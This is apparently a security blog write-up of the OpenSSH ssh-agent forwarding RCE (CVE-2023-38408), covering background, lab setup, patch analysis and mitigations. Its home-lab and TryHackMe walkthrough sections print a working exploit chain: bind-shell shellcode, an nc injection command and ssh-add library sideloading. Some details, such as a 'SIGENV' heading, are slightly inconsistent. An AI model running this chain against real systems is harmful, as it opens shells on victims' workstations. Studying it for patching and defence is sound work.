Exploring OpenSSH’s Agent Forwarding RCE (CVE-2023–38408)

23 min readApr 26, 2024

Screenshots from the blog posts

Summary

The `ssh-agent` acts as a key manager for SSH authentication, facilitating agent forwarding to bypass the need to keep keys on remote hosts. NIST assigned the CVE identifier CVE-2023–38408 on July 19th in response to a critical vulnerability in OpenSSH’s PKCS#11 feature prior to version 9.3p2.

Description

Introduction

On July 19th, NIST assigned CVE-2023–38408 with a CVE score of 9.8 to address a significant RCE vulnerability in OpenSSH’s PKCS#11 functionality, affecting versions prior to 9.3p2.

This flaw, discovered by the Qualys Threat Research Unit, enables remote code execution through unsafe loading of code from /usr/lib when an SSH agent is forwarded to a compromised system. This vulnerability not only highlights the inherent risks in SSH agent forwarding but also underscores a security gap left from a previously addressed issue, CVE-2016-10009.

Here is the official description:

“The PKCS#11 feature in ssh-agent in OpenSSH before 9.3p2 has an insufficiently trustworthy search path, leading to remote code execution if an agent is forwarded to an attacker-controlled system. (Code in /usr/lib is not necessarily safe for loading into ssh-agent.)”

Disclosure timeline

July 6, 2023: The initial advisory draft and patch were submitted to OpenSSH.
July 7, 2023: OpenSSH responded with improved patch versions.
July 9, 2023: OpenSSH was provided with feedback on the revised patches.
July 11, 2023: Final patch versions were received from OpenSSH, followed by feedback submission.
July 14, 2023: OpenSSH announced a security-only release scheduled for July 19th.
July 19, 2023: A coordinated disclosure and release were executed.

Affected versions

The discovered vulnerability impacts all OpenSSH versions preceding 9.3p2 (including 9.3p1).

The vulnerability in question primarily targets environments utilizing OpenSSH’s SSH agent, especially those where the agent forwarding mechanism is activated. Both organizations and individual users who deploy OpenSSH are advised to review their system configurations to ascertain their vulnerability to this flaw.

Impact

CVE-2023–38408 is very serious because it lets hackers run their code on someone else’s computer if certain conditions are met. This is a big security problem because a lot of people use OpenSSH.

While the detailed mechanism of exploitation involves complex interactions between shared libraries and the ssh-agent, it is essential to note that the exploitation requires sophisticated knowledge and access levels. Exploitation is possible only if certain software libraries are on the target computer and if the target computer’s agent is sent to a hacker’s computer. They also need to have the computer’s agent sent to an attacker-controlled system.

Looking up all the versions of OpenSSH that are at risk shows more than 8 million results on the Shodan search engine.

Other sources say that there are about 46,000 systems with OpenSSH agents, but it’s not clear which versions they are using.

Theoretical background

What is OpenSSH’s SSH agent?

As per the official manual, “ssh-agent is a program to hold private keys used for public key authentication. Through use of environment variables the agent can be located and automatically used for authentication when logging in to other machines using ssh.”

ssh-agent is a part of OpenSSH, a suite of secure networking utilities based on the Secure Shell (SSH) protocol, which is designed to provide secure communication over insecure networks. ssh-agent itself is a program designed to hold private keys used for public key authentication (RSA, DSA, ECDSA, Ed25519, etc.). It runs in the background and acts as a key manager for SSH, handling the keys' lifecycle without requiring the user to repeatedly enter their passphrase every time an SSH connection is established.

How it works?

Starting the agent: Typically, ssh-agent is started at the beginning of an X session or a login session. Users can start it manually with a command in their shell's startup file (like .bash_profile or .bashrc), which sets up environment variables that enable SSH client programs to communicate with the agent.
Adding keys: After starting, keys are added to the agent with the ssh-add command, where the user might be prompted to enter the passphrase for the key. Once added, ssh-agent holds the private keys in memory, and the user doesn't need to enter the passphrase again as long as the agent is running.
SSH authentication: When making an SSH connection, the SSH client uses the SSH_AUTH_SOCK environment variable to connect to ssh-agent and requests the keys it holds for authentication. If the key is suitable for authenticating to the server, ssh-agent use the private key to sign a challenge from the server, proving the client's identity without transmitting the private key itself.

What is agent forwarding?

In simple terms, when you connect from your computer to another computer using SSH, you usually have to enter your passphrase to unlock your private key for authentication. If you then want to SSH from that remote computer to another one, you’d typically need to enter your passphrase again. This can be inconvenient and also risky, especially if the first remote computer isn’t completely secure.

Agent forwarding solves this problem. It lets you use the ssh-agent on your local computer even when you're working on a remote computer. This way, your private key stays safe on your local machine and doesn't need to be moved to any other computers.

Note that the method involves exposing the socket of the local ssh-agent on the remote server. When enabling agent forwarding in an SSH connection, the local ssh-agent generates a UNIX socket on the remote system. This socket acts as a communication channel, enabling the remote system to interact with the local ssh-agent for any actions that need the user's private key. In essence, using sockets means that the agent creates a specific pathway that allows other programs to talk to it securely.

How does it work?

When you enable agent forwarding, ssh-agent on your local computer creates a socket, a kind of digital pathway, that SSH commands can use to communicate with the agent. This socket's reference is passed along to your SSH connections. It means that when you SSH into a server and then from there into another server, the second server communicates with your local ssh-agent via the forwarded connection to authenticate you.

Benefits of agent forwarding

Agent forwarding is a powerful tool in scenarios requiring secure and efficient interactions with multiple systems via SSH public key authentication. Here’s why it’s so valuable:

Ease of multiple SSH connections: Agent forwarding simplifies SSH chaining, where users connect from one system to another. It eliminates the need for users to enter their passphrase multiple times, which is a significant advantage for system administrators managing numerous servers.
Improved security: By keeping private keys on the local system and not transferring them to remote servers, agent forwarding reduces the risk of key exposure on potentially compromised systems.
Support for automation and scripting: For automation tasks or scripts that need to connect to servers frequently, agent forwarding is crucial. It removes the necessity for manual passphrase entry or the insecure storage of passwords, allowing scripts to execute more securely and efficiently.

Security concerns about agent forwarding

Although agent forwarding can make managing SSH connections and private keys much easier, it comes with its own set of security concerns that cannot be ignored. OpenSSH’s manual itself also cautions users about the security posture of agent forwarding: “Agent forwarding should be enabled with caution. Users with the ability to bypass file permissions on the remote host (for the agent’s UNIX-domain socket) can access the local agent through the forwarded connection. An attacker cannot obtain key material from the agent, however they can perform operations on the keys that enable them to authenticate using the identities loaded into the agent.”

The issue lies in how UNIX-domain sockets, the underpinning of this forwarding mechanism, are handled on the remote host. If an attacker gains the ability to bypass file permissions on these sockets, they can hijack the forwarded agent connection.

While they cannot directly steal your private keys (thanks to ssh-agent's architecture), they can "perform operations on the keys". This could include signing requests or initiating connections as you, effectively wearing your digital identity like a mask. The manual also suggests considering a "jump host" as a safer alternative, where you directly connect to a trusted intermediate before reaching your final destination, minimizing the exposure of your agent. (A jump host is a secure computer that acts as a stepping stone for connecting to other servers or networks, typically used for managing and accessing internal networks from an external point.)

Despite these cautions, SSH agent forwarding remains a common practice in modern computing environments, so let’s see how it works on the architectural level.

The historical background starring CVE-2016–10009

CVE-2016–10009, uncovered by Jann Horn and documented in a Project Zero issue, was a vulnerability within the OpenSSH suite, specifically affecting the ssh-agent component when it's configured to forward connections.

Prior to the introduction of an allow-list in 2016 as a remedial measure against this CVE-2016–10009, ssh-agent did not filter the path of shared libraries loaded by ssh-pkcs11-helper, a subprocess responsible for handling PKCS11 providers. This lack of filtration meant that if an attacker gained access to a server where a user's ssh-agent was forwarded and had unprivileged access to the user's workstation, they could execute a malicious shared library with the user's privileges. Moreover, if the attacker could remotely place a malicious library on the user's workstation, they could achieve remote code execution, albeit with some limitations.

The core of CVE-2016–10009 lies in the ability to exploit the ssh-agent protocol commands SSH_AGENTC_ADD_SMARTCARD_KEY and SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED. These commands, designed to add PKCS11 smart card keys, do not adequately validate the provided provider name. This oversight allows the execution of arbitrary code if an attacker can compel the agent to load a malicious shared library.

To exploit this vulnerability, an attacker would first need to create a malicious library that executes a desired command upon being loaded. When a user, with agent forwarding enabled, connects to a compromised SSH server, the attacker can then trigger the user’s ssh-agent to load this malicious library, executing the embedded command on the user's system.

Exploitation steps of CVE-2023–38408

The flaw allows for remote code execution by exploiting shared libraries’ side effects through dlopen() and dlclose() operations, even in the face of security mechanisms like ASLR, PIE, and NX. The vulnerability is notably highlighted by its exploitation of constructor and destructor functions of shared libraries within /usr/lib*, underscoring a critical security oversight in SSH agent's design and implementation. (The /usr/lib directory in Unix-like systems holds shared libraries that multiple applications can use, saving space and enhancing efficiency. It's part of the Filesystem Hierarchy Standard, ensuring predictable file organization across Unix-like operating systems.)

Prerequisites:

Access to a server with ssh-agent forwarding enabled.
Ability to place a malicious shared library on the target user’s workstation or a server where the user’s ssh-agent is forwarded.

The steps of the exploitation are the following:

An attacker establishes an SSH connection to the server.
Concurrently, user Alice is connected to the same server via SSH.
The attacker prepares and dispatches the shellcode through the SSH process aimed at the server. The attacker uses a tool, perhaps Metasploit, to create the shellcode.
The attacker transfers the shellcode into the stack memory of the ssh-pkcs11-helper process that exploits the PKCS#11 flaw in ssh-agent. Alongside the shellcode, an NOP sled is placed to ensure a smooth transition of the system's execution flow into the shellcode. This will result in commandeering Alice's SSH session by initiating a rogue process.
Using their established access, the attacker can execute commands under Alice’s identity by interacting with the exploit in the shellcode.

Proof of concept

Home lab

In our analysis we rely on THM’s corresponding room however we also share some information about how to build a home lab for experimenting. Kudos to l4m3r8 and the whole THM team for creating such an amazing room!

In the original advisory of the vulnerability the researchers used Ubuntu Desktop 21.10 and 22.04 to create a PoC so we also use one of them for a vulnerable workstation. Here is a Dockerfile for example:

FROM ubuntu:21.10

# Set a non-interactive frontend to avoid interactive prompts during package installation
ARG DEBIAN_FRONTEND=noninteractive

# Modify /etc/apt/sources.list to prevent any package from being upgraded to a version that is not the one that we used
RUN cp -i /etc/apt/sources.list /etc/apt/sources.list.backup && \
    echo 'deb https://old-releases.ubuntu.com/ubuntu/ impish main restricted universe' > /etc/apt/sources.list && \
    sed -i -e 's|impish|jammy|g' /etc/apt/sources.list && \
    apt-get update && \
    apt-get upgrade -y
    
# Install the three packages that contain the three extra shared libraries used in this attack against ssh-agent
RUN apt-get install --no-install-recommends -y \
    syslinux-common \
    libgnatcoll-postgres1 \
    libenca-dbg
  
RUN apt-get update && \
    apt-get install build-essential \
    zlib1g-dev \
    libssl-dev \
    libpam0g-dev \
    wget \
    perl \
    netcat

# Download and install vulnerable OpenSSH from source
RUN wget --no-check-certificate https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.3p1.tar.gz && \
    tar -xzf openssh-9.3p1.tar.gz && \
    cd openssh-9.3p1 && \
    ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-zlib --with-md5-passwords --with-ssl-dir=/usr/local/ssl && \
    make && make install

# Configure SSH server
RUN mkdir /var/run/sshd && \
    echo 'root:pass' | chpasswd && \
    useradd -u 3333 -g 33 -c sshd -d / sshd && \
    sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config

# Add user accounts with predefined passwords
RUN useradd -rm -d /home/ubuntu -s /bin/bash -g root -G sudo -u 1000 alice && \
    echo 'alice:pass' | chpasswd && \
    useradd -rm -d /home/ubuntu2 -s /bin/bash -g root -G sudo -u 1001 attacker && \
    echo 'attacker:pass' | chpasswd

# Expose the default SSH port
EXPOSE 22

# Command to start the SSH daemon
CMD ["/usr/sbin/sshd", "-D"]

In this case, the attacker machine would be your host OS (KALI in my case), and the vulnerable workstation is the running Docker image.

You can install Docker with these commands:

apt-get update
apt-get upgrade
apt install -y docker.io docker-compose

Then, build and run the image:

docker build -t vuln_ubuntu .
docker run -p 2222:22 vuln_ubuntu

Keep in mind that an SSH server should run on the host OS.

First, clear the SSH sessions withrm -rf /tmp/ssh* on the attacker's machine.

Then, get into the image and run the ssh-agent as Alice, and run the following commands.

# Log in to the vuln_ubuntu image with interactive shell
$ docker exec -it $(docker ps | grep vuln_ubuntu | cut -d ' ' -f1) bash

# Switch to user "alice"
$ su alice

# Initiate ssh-agent
$ eval `ssh-agent -s`
Agent pid 786

# SSH into the server (host machine) owned by the attacker 
$ ssh -A alice@172.17.0.1

Then, from the host OS, let’s check what’s happening from the perspective of an attacker.

$ echo /tmp/ssh-*/agent.*
/tmp/ssh-XXXXzUoV2l/agent.457406

Here is traces of Alice’s SSH session on the host machine.

The list of the necessary commands to be executed in the process of exploitation on the attacker machine is here:

# Remotely make ssh-agent's stack executable (more precisely, ssh-pkcs11-helper's stack), via Alice's ssh-agent forwarding (indeed, the ssh-agent itself is running on Alice's workstation, not on the server):
$ export SSH_AUTH_SOCK=$(echo /tmp/ssh-*/agent.*) 

# Sideload 1st library
$ ssh-add -s /usr/lib/syslinux/modules/efi64/gfxboot.c32

# Remotely store a shellcode in the stack of ssh-pkcs11-helper:
$ SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'

$ (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
# [Press Ctrl-C after a few seconds.]

# Remotely alter the mmap layout of ssh-pkcs11-helper:
$ ssh-add -s /usr/lib/pulse-15.0+dfsg1/modules/module-remap-sink.so 

# Remotely alter the mmap layout of ssh-pkcs11-helper (again), and replace the unmapped SIGBUS handler's code with another piece of code (a useful gadget) from another shared library:
$ ssh-add -s /usr/lib/pulse-15.0+dfsg1/modules/module-http-protocol-unix.so
$ ssh-add -s /usr/lib/x86_64-linux-gnu/sane/libsane-hp.so.1.0.32
$ ssh-add -s /usr/lib/libreoffice/program/libindex_data.so
$ ssh-add -s /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstaudiorate.so
$ ssh-add -s /usr/lib/libreoffice/program/libscriptframe.so
$ ssh-add -s /usr/lib/x86_64-linux-gnu/libisccc-9.16.15-Ubuntu.so
$ ssh-add -s /usr/lib/x86_64-linux-gnu/libxkbregistry.so.0.0.0

# Remotely raise a SIGBUS in ssh-pkcs11-helper:
$ ssh-add -s /usr/lib/debug/.build-id/15/c0bee6bcb06fbf381d0e0e6c52f71e1d1bd694.debug

Now you should be able to bind to a shell on Alice’s workstation with

$ nc -v workstation 31337
Connection to workstation 31337 port [tcp/*] succeeded!

$ id
uid=1000(alice) gid=1000(alice) 
groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare)

Don’t panic if you don’t understand 100% — we will make a deeper explanation in the following section.

THM’s lab

Here is THM’s room lab for CVE-2023–38408.

Step 0: Prepare the environment

Log into your THM account and navigate to the corresponding room. If you are not registered, then sign up, and don’t worry, the room is free. Use the AttackBox and click on the ‘Start Machine' button.

Open a terminal on the Attackbox and clear your SSH sessions with command rm -rf /tmp/ssh*. Then add Alice's public key to the authorized_keys file:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs4FT0kCeBfQ1co/PeApZn3NmZ68mUwEEbtP598IcBBDgpe+AauGtOVNxsptmZD26yjhTXp4RJgrreUgPJQ8ICDUvASD/2W8GOl5XpYddbrcHy+djyViQV/69VskB2Y9LCobbkYPBUjIKlObqgamM7HhcNO3Zu65AAtbu+31+N+swygYjTRB37cjQOLgI7FM9nmuhyb8uSMtttTJRD7ybXPfiHV8YxLENuJU0BGggc9i/hXKQKwhEvnliiqw/XdpK/JyT6t65DFvYYkT21bPHpBDMNzPauUgr2yagKMFNe8HFQfk/QibTcLMeV0JmCGeOcv8oJP/T4xJnnoetMvZGEPZ4hXH7E3n2wksLjuF2se61/c+SIh6Zm+gUYQESTAmmbRPeTj7RcZPRN22knpSyu76eZKBf/dmHYXQlIk1gKsouFdposOpxYRJ4Wt97uEPihW/wzzT+QPcLyYoGpbFXJmpqNaOBVJw1n0KqB98dL5Ixa32FKTCzaBPHkDmK/I2M= alice@workstation" >> /root/.ssh/authorized_keys

Then, SSH to the workstation and add the AttackBox’s IP to a text file:

ssh redqueenrebel@<target_ip>
# password: DownTheRabbitHole!

echo "<target_ip>" > /tmp/ip.txt

Within a minute, you should see something similar on your AttackBox terminal:

We will use this information in the next step.

Step 1: Making the stack executable

Normally, modern operating systems mark the memory region used for the stack as non-executable to prevent the execution of malicious code (a technique known as NX or DEP). The first step involves circumventing this protection and make ssh-agent's, or more precisely, ssh-pkcs11-helper's stack executable by dlopen()ing one of the "execstack" libraries.

Fortunately, some shared libraries necessitate an executable stack for their operation, as indicated by a GNU_STACK ELF header marked with RWE (readable, writable, executable) or by the absence of this header, leading the loader to default to an executable stack. When a library with such requirements is loaded via dlopen(), it results in the stack—both the main stack and those of any threads—becoming executable. This executable state persists even after the library is released with dlclose().

Now we are going to remotely make ssh-agent's stack (more precisely, ssh-pkcs11-helper's stack) executable, via Alice's ssh-agent forwarding. Note that the ssh-agent itself is running on Alice's workstation, not on the server). The advisory mentions /usr/lib/systemd/boot/efi/linuxx64.elf.stub in the default installation of Ubuntu Desktop 22.04 as an example of a shared library requires an executable stack. Use these commands on the AttackerBox's terminal:

$ export SSH_AUTH_SOCK=$(echo /tmp/ssh-*/agent.*) # /tmp/ssh-NqK4sdaSX6s/agent.3123

$ ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
Enter passphrase for PKCS#11: 
Could not add card "/usr/lib/systemd/boot/efi/linuxx64.elf.stub": agent refused operation

Step 2: Delivering the payload

Once the attacker has made the computer’s memory ready to run their code, they create a special code called shellcode. Shellcode is a small piece of code used in exploiting vulnerabilities, designed to give an attacker control over a compromised system. Typically, it’s injected into a vulnerable program and executed to open a command shell or perform other malicious actions on the target system. This sneaky code is then placed into a part of the computer’s memory called the stack, which is now set up to run whatever code the attacker puts there.

This crafted shellcode is then injected into the executable stack region of the ssh-pkcs11-helper process. To improve the chances of the shellcode being executed seamlessly, attackers often precede it with a NOP sled. A NOP sled is simply a series of "no operation" instructions that serve as a runway, ensuring that any jump into the sled by the system's execution flow will slide down into the shellcode, triggering its execution.

To transfer the shellcode to the process via the SSH socket, the following steps are necessary:

First, identify the Process ID (PID) of the SSH agent operating on the attacker’s remote machine. (See the previous step.)
With access to the socket, employ netcat (nc) to send the shellcode into the memory of the agent's workstation.
Begin the shellcode transfer and pause briefly to allow for the complete insertion of the shellcode into the designated memory area.
Stop the Netcat transfer by pressing Ctrl-C once you confirm the shellcode has been successfully embedded in the agent's memory.

$ SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'

$ (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
[Press Ctrl-C after a few seconds.]

The advisory gives some explanation of these commands:

The reason for not using ssh-add is due to our requirement to transmit approximately 10KB of shellcode to ssh-agent. ssh-add imposes a restriction, only permitting passphrases up to 1KB in size, which is inadequate for our needs.
The sequence "\x90" x 10000 creates a NOP sled of roughly 10KB. On the amd64 architecture, 0x90 signifies the NOP (No Operation) instruction, used here for buffer space.
The shellcode in question establishes a TCP bind shell on port 31337, sourced from shell-storm.org.
The directory /usr/lib/modules is chosen for its existence and because its path falls within the /usr/lib* directories allowed by ssh-agent. The objective isn't to load a shared library but rather to place the shellcode within an executable stack area allowed by the system's security policies.

Step 3: Registering a new signal handler for the `SIGSEGV` signal.

A signal handler is a function that gets called in response to specific signals sent to a program. SIGSEGV is a signal sent to a process when it attempts to access a memory location that it's not allowed to, typically leading to a segmentation fault (an error that occurs when a program tries to access a memory location that it's not allowed to, often leading to the program's abrupt termination). By registering a custom signal handler for SIGSEGV, the exploit controls what happens when such an access violation occurs. So, to make the exploit work, the attacker sets up a new signal handler for the SIGSEGV signal, which is normally activated by a Segmentation Fault — this happens when a program tries to touch a part of the memory it shouldn't. With this setup, the exploit can insert its own function to run instead of the default action when SIGSEGV is triggered.

When certain shared libraries are loaded using dlopen(), they appoint a custom signal handler to address the SIGSEGV signal. However, these libraries fail to clear this custom handler upon being closed with dlclose(). As a result, the signal handler remains active even after its associated code has been removed from memory (unmapped). Now you can suspect that we will need such a library to load. An instance of such behavior can be observed with /usr/lib/x86_64-linux-gnu/libSegFault.so in the standard configuration of Ubuntu Desktop 21.10.

Incorporating this, an attacker exploits the system by introducing a novel signal handler for SIGSEGV, a signal typically triggered by an illegal memory access, causing a segmentation fault. This strategic placement allows the attacker to replace the default response to a SIGSEGV signal with their own function, manipulating the program's behavior upon encountering such errors.

The technique involves selecting a library known for setting up a custom SIGSEGV signal handler without properly removing it when no longer in use. This misstep results in a "dangling pointer" — a remnant reference within the system's memory pointing to a now-empty location where the custom signal handler's code once resided.

Use this command to register the signal handler for the SIGSEGV signal:

$ ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
Enter passphrase for PKCS#11:
Could not add card "/usr/lib/titan/libttcn3-rt2-dynamic.so": agent refused operation

Step 4: Replacing the original signal handler routine

Following the successful registration of the custom signal handler for SIGSEGV, the subsequent critical action in the exploitation sequence involves substituting the default signal handler routine with a specifically selected gadget. In this step, the attacker uses a gadget to sneak their own code into the computer’s memory by replacing the original signal handler routine with a custom gadget to redirect the program’s execution flow and jump into the stack when the SIGSEGV signal is triggered.

Here’s how they do it: they load a new piece of software ie. a shared library into the system in such a way that it changes the usual flow of commands. Normally, the system follows a set path (handled by something called a “signal handler”) when it runs into specific types of errors or signals. The attacker’s new library tricks the system into taking a detour directly to where the attacker’s harmful code (shellcode) is waiting in the stack (a part of the memory used for running programs).

Now, there’s a bit of cleverness to make sure this detour stays open. Usually, when you’re done using a library, a command called dlclose() is supposed to clean up, removing the library's code from memory and freeing up space. But the attacker doesn't want their detour to disappear after dlclose() is used. So, they mark their sneaky library with a special "Nodelete" tag. This tag is like telling the system, "Even after you're told to clean this up, leave it be". Because of this tag, the system keeps the library's code around, ensuring the path to the harmful shellcode stays active and ready to use. This trick lets the attacker keep their malicious detour open, bypassing the usual security measures that would prevent such behavior.

So an attacker has to find a shared library that is set to “nodelete" by the loader, due to either an explicit NODELETE ELF flag or because they're dependencies of another NODELETE library. As a result, the loader won't remove these libraries from memory, even if they are closed with dlclose().

Use these commands to replace the original signal handler route with a new one.

$ ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
Enter passphrase for PKCS#11: 
Could not add card "/usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0": agent refused operation

Step 5: Triggering `SIGENV`

Finally, by intentionally causing a segmentation fault, the attacker sets off a SIGSEGV event, leading to the shellcode's activation.

To initiate this, the attacker uses dlopen() to load a library that is known to immediately crash with a SIGSEGV upon being loaded, often due to a NULL-pointer dereference. This usually happens because these libraries are intended to be loaded within a particular context, and not just within any random program such as ssh-agent. An instance of this behavior can be observed with most of the /usr/lib/x86_64-linux-gnu/xtables/lib*.so libraries in the default setups of Ubuntu Desktop 22.04 and 21.10.

So in the exploitation process, this is achieved by introducing a library that causes a segmentation fault, leveraging a previously established dangling pointer. This action prompts the system to invoke a custom signal handler linked to the dangling pointer. Instead of leading to the program’s termination, this calculated maneuver diverts the program’s execution path toward the execution of the attacker’s harmful code. This code is cleverly hidden within a NOP sled, a series of no-operation instructions designed to ensure the safe landing of the execution flow into the malicious code.

Run this command:

$ ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0

Step 6: Executing the shellcode

This successful manipulation culminates in the shellcode’s execution, operating under the permissions of the ssh-agent process. By achieving this, the attacker can perform actions with the same level of privilege as the ssh-agent, potentially leading to significant system compromise, data theft, or other malicious outcomes, all depending on the attacker’s objectives and the nature of the shellcode deployed.

On the redqueenrebel's terminal session run "nc localhost 31337" to gain access to a bind shell.

Patch diffing

The previous patch

The key changes of the inadequate patch of CVE-2016–10009 were the following:

Inclusion of a PKCS#11 path whitelist: The patch introduces a whitelist for PKCS#11 library paths (DEFAULT_PKCS11_WHITELIST and pkcs11_whitelist) to restrict the addition of PKCS#11 providers based on their filesystem path. This is an attempt to mitigate risks associated with loading arbitrary or untrusted PKCS#11 modules.
Validation of provider paths against the whitelist: It modifies the process_add_smartcard_key function to convert the provider path to a canonical form using realpath and then checks this canonical path against the whitelist. If the provider is not whitelisted, it refuses to add it.
Introduction of a new command-line option (-P) to specify the PKCS#11 whitelist: This allows users or administrators to specify a custom list of allowed PKCS#11 provider paths at runtime.

The patch does not directly address remote code execution vulnerabilities but instead focuses on restricting the PKCS#11 providers that can be loaded. While this is a valuable security measure to prevent the loading of malicious PKCS#11 modules, it may not mitigate other vectors for RCE that do not involve PKCS#11 modules.

The use of a path whitelist as a security mechanism relies heavily on the integrity and security of the paths included in the whitelist. If attackers can place malicious libraries in whitelisted locations or if the whitelist includes paths that are not secure, this mechanism could be bypassed. Additionally, relying on filesystem paths and realpath resolution might not be sufficient to prevent sophisticated attacks involving symbolic links, race conditions, or filesystem tampering.

In conclusion, we can say that while the patch introduces a security enhancement by restricting the loading of PKCS#11 providers to a set of whitelisted paths, it may not fully address the vulnerabilities described in the advisories, particularly those not directly related to PKCS#11 modules. The effectiveness of the patch in mitigating security risks depends on the broader context of OpenSSH’s security architecture and the specific nature of the vulnerabilities described.

Patch for CVE-2023–38408

Let’s break down the essence of each commit and how it contributes to resolving the issue.

Commit 1: Process termination for invalid PKCS#11 providers

This patch changes the behavior from merely logging an error to fatally exiting the process when an invalid PKCS#11 provider is requested. By using fatal instead of error for handling the failure of dlsym(C_GetFunctionList), it ensures that the process is terminated, preventing any further execution that could potentially exploit the vulnerability.

Impact on CVE-2023–38408: Terminating the process upon encountering an invalid PKCS#11 provider immediately stops any potential misuse, a stricter response than what was implemented for CVE-2016–10009. This approach eliminates the chance for an attacker to leverage the continuation of the process after an error, thereby closing a loophole that existed before.

Commit 2: Disallowing remote addition of FIDO/PKCS11 providers by default

This patch adds a default behavior to disallow the addition of remote FIDO/PKCS11 provider libraries to ssh-agent. A new flag (remote_add_provider) is introduced, which is checked before allowing the addition of such providers. The behavior can be overridden by a specific option.

Impact on CVE-2023–38408: This directly addresses a critical aspect of the vulnerability by tightening the default security policy around adding external providers. It ensures that, by default, any attempt to add a remote PKCS11 or FIDO provider is denied, unless explicitly allowed. This is a significant security enhancement over the CVE-2016–10009 fix, which did not specifically address the security policy around external providers.

Commit 3: Ensuring FIDO/PKCS11 libraries contain expected symbols

Before loading a library with dlopen(), this patch introduces checks using nlist() or memmem() to verify that the library contains certain expected symbols. This preemptively avoids loading malicious or incompatible libraries.

Impact on CVE-2023–38408: By ensuring that only libraries with expected symbols are loaded, this patch mitigates the risk of executing arbitrary or harmful code through specially crafted libraries. This preemptive check adds an extra layer of verification that wasn’t as explicitly addressed in the context of CVE-2016–10009.

Commit 4: Independent helpers for each PKCS#11 module

This patch implements a separate ssh-pkcs11-helper processes for each PKCS#11 module. This isolation improves security and stability, as issues in one module do not affect others or the main ssh-agent process.

Impact on CVE-2023–38408: By isolating PKCS#11 modules into separate processes, this patch significantly reduces the risk surface compared to the single process approach used before. If a module is compromised or behaves unexpectedly, it doesn’t compromise the entire ssh-agent or other modules. This level of isolation was not specifically addressed in the patch for CVE-2016–10009.

Mitigation

To address the security concerns associated with CVE-2023–38408, the following mitigation strategies and recommendations are proposed:

Upgrade to OpenSSH version: It’s essential to update OpenSSH to version 9.3p2 or newer.
Limit Use of PKCS#11 providers: Adjust your OpenSSH configurations to accept only trusted PKCS#11 providers. By restricting access to a select list of verified providers, you decrease the chance of exploitation and narrow the potential avenues through which attackers can gain access.
Be wary with SSH agent forwarding: Exercise caution when using SSH agent forwarding. This feature should only be enabled in trusted scenarios, as forwarding to an untrusted or compromised server can increase the risk of exploitation.
Regular security scans: Implement routine scans of your system using reliable antivirus and malware detection tools. Regular scanning helps in early detection of malicious activities or code, contributing to a more secure system.

By adopting these mitigation measures and adhering to the outlined recommendations, organizations and individuals can significantly reduce their vulnerability to exploitation via CVE-2023–38408. Upgrading systems, enforcing restrictions on PKCS#11 providers, cautiously managing SSH agent forwarding, and conducting periodic security scans are critical steps in safeguarding against potential threats linked to this CVE.

Final thoughts

The CVE-2023–38408 issue in OpenSSH shows how tough finding and fixing security problems can be. Researchers did a great job digging deep to find this tricky flaw, showing us the complex steps needed to exploit it. Their work highlights the skill and patience needed to keep our online tools safe.

This vulnerability wasn’t easy to spot or use, which shows the researchers’ hard work and sharp skills. Thanks to them, we now know about this problem and can fix it by updating OpenSSH.

Exploring OpenSSH’s Agent Forwarding RCE (CVE-2023–38408)

Screenshots from the blog posts

Summary

Description

Introduction

Disclosure timeline

Affected versions

Impact

Theoretical background

What is OpenSSH’s SSH agent?

How it works?

What is agent forwarding?

How does it work?

Benefits of agent forwarding

Security concerns about agent forwarding

The historical background starring CVE-2016–10009

